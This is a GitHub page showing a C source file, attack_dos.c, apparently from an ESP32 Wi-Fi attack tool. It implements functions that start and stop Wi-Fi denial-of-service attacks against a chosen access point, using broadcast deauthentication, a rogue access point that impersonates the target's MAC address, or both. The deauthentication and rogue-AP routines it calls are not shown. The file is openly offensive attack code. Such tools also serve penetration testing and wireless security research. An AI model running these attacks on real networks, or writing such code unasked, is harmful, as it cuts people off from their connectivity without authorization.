-
Notifications
You must be signed in to change notification settings - Fork 61
/
attack_dos.c
62 lines (57 loc) · 1.9 KB
/
attack_dos.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* @file attack_dos.c
* @author 0x1381 (nullx1381@gmail.com)
* @date 2021-04-02
* @copyright Copyright (c) 2021
*
* @brief Implements DoS attacks using deauthentication methods
*/
#include "attack_dos.h"
#define LOG_LOCAL_LEVEL ESP_LOG_VERBOSE
#include "esp_log.h"
#include "esp_err.h"
#include "attack.h"
#include "attack_method.h"
#include "wifi_controller.h"
static const char *TAG = "main:attack_dos";
static attack_dos_methods_t method = -1;
void attack_dos_start(attack_config_t *attack_config) {
ESP_LOGI(TAG, "Starting DoS attack...");
method = attack_config->method;
switch(method){
case ATTACK_DOS_METHOD_BROADCAST:
ESP_LOGD(TAG, "ATTACK_DOS_METHOD_BROADCAST");
attack_method_broadcast(attack_config->ap_record, 1);
break;
case ATTACK_DOS_METHOD_ROGUE_AP:
ESP_LOGD(TAG, "ATTACK_DOS_METHOD_ROGUE_AP");
attack_method_rogueap(attack_config->ap_record);
break;
case ATTACK_DOS_METHOD_COMBINE_ALL:
ESP_LOGD(TAG, "ATTACK_DOS_METHOD_ROGUE_AP");
attack_method_rogueap(attack_config->ap_record);
attack_method_broadcast(attack_config->ap_record, 1);
break;
default:
ESP_LOGE(TAG, "Method unknown! DoS attack not started.");
}
}
void attack_dos_stop() {
switch(method){
case ATTACK_DOS_METHOD_BROADCAST:
attack_method_broadcast_stop();
break;
case ATTACK_DOS_METHOD_ROGUE_AP:
wifictl_mgmt_ap_start();
wifictl_restore_ap_mac();
break;
case ATTACK_DOS_METHOD_COMBINE_ALL:
attack_method_broadcast_stop();
wifictl_mgmt_ap_start();
wifictl_restore_ap_mac();
break;
default:
ESP_LOGE(TAG, "Unknown attack method! Attack may not be stopped properly.");
}
ESP_LOGI(TAG, "DoS attack stopped");
}